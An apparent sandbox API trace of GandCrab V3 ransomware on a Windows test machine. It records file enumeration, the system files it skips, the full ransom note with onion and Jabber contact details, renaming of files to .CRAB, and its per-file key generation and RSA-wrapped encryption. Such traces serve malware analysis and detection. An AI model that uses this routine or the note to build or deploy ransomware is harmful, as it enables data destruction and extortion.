	[0119.618] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt") returned 84
	[0119.618] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\CRAB-DECRYPT.txt") returned 84
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.618] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.618] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.619] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.619] lstrcmpW (lpString1="events", lpString2=".") returned 1
	[0119.619] lstrcmpW (lpString1="events", lpString2="..") returned 1
	[0119.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events"
	[0119.619] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\"
	[0119.619] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.620] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.620] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.620] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.620] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.620] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.620] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.620] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\\\CRAB-DECRYPT.txt") returned 92
	[0119.621] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\events\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0119.621] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0119.621] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0119.622] CloseHandle (hObject=0x3f8) returned 1
	[0119.623] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.623] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\") returned 75
	[0119.623] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*"
	[0119.623] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xded868
	[0119.624] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0119.624] FindNextFileW (in: hFindFile=0xded868, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.624] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0119.624] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0119.624] FindNextFileW (in: hFindFile=0xded868, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.624] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0119.624] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0119.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt"
	[0119.624] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.624] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt") returned 91
	[0119.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt") returned 91
	[0119.625] lstrlenW (lpString=".txt") returned 4
	[0119.625] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.625] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0119.625] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt") returned 91
	[0119.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\CRAB-DECRYPT.txt") returned 91
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0119.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0119.626] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0119.626] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0119.626] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0119.626] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.626] FindNextFileW (in: hFindFile=0xded868, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0119.626] FindClose (in: hFindFile=0xded868 | out: hFindFile=0xded868) returned 1
	[0119.626] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0119.626] lstrcmpW (lpString1="InstallTime20170518000419", lpString2=".") returned 1
	[0119.626] lstrcmpW (lpString1="InstallTime20170518000419", lpString2="..") returned 1
	[0119.626] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="InstallTime20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419"
	[0119.626] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.627] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93
	[0119.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93
	[0119.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93
	[0119.627] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="desktop.ini") returned 1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="autorun.inf") returned 1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="ntuser.dat") returned -1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="iconcache.db") returned 1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="bootsect.bak") returned 1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="boot.ini") returned 1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="ntuser.dat.log") returned -1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="thumbs.db") returned -1
	[0119.627] lstrcmpiW (lpString1="InstallTime20170518000419", lpString2="CRAB-DECRYPT.txt") returned 1
	[0119.627] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.628] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB") returned 98
	[0119.628] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170518000419")) returned 0x20
	[0119.630] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419", dwFileAttributes=0x20) returned 1
	[0119.630] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170518000419"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170518000419.crab")) returned 1
	[0119.632] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.632] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB"
	[0119.632] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB.CRAB"
	[0119.632] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e738) returned 1
	[0119.633] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.634] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.634] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0119.634] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0119.634] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.634] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0119.635] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.635] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.635] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0119.635] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.636] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.636] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.636] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.636] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0119.637] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xded228) returned 1
	[0119.637] CryptGetKeyParam (in: hKey=0xded228, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0119.637] CryptEncrypt (in: hKey=0xded228, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0119.638] GetLastError () returned 0x0
	[0119.638] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.638] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0119.638] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xded1a8) returned 1
	[0119.638] CryptGetKeyParam (in: hKey=0xded1a8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0119.638] CryptEncrypt (in: hKey=0xded1a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0119.639] GetLastError () returned 0x0
	[0119.639] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.639] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170518000419.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0119.639] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.640] ReadFile (in: hFile=0x3f8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0xa, lpOverlapped=0x0) returned 1
	[0119.653] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0119.654] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0119.654] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.655] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.655] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x10, lpOverlapped=0x0) returned 1
	[0119.655] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.655] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.660] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0119.661] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0119.661] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0119.661] CloseHandle (hObject=0x3f8) returned 1
	[0119.662] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.662] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.663] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.663] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.663] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.663] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.664] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0119.664] FindClose (in: hFindFile=0xded3e8 | out: hFindFile=0xded3e8) returned 1
	[0119.664] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.664] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1
	[0119.664] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1
	[0119.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
	[0119.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
	[0119.664] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.664] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.665] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.665] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.665] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.665] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.665] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.665] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.666] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\CRAB-DECRYPT.txt") returned 80
	[0119.666] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
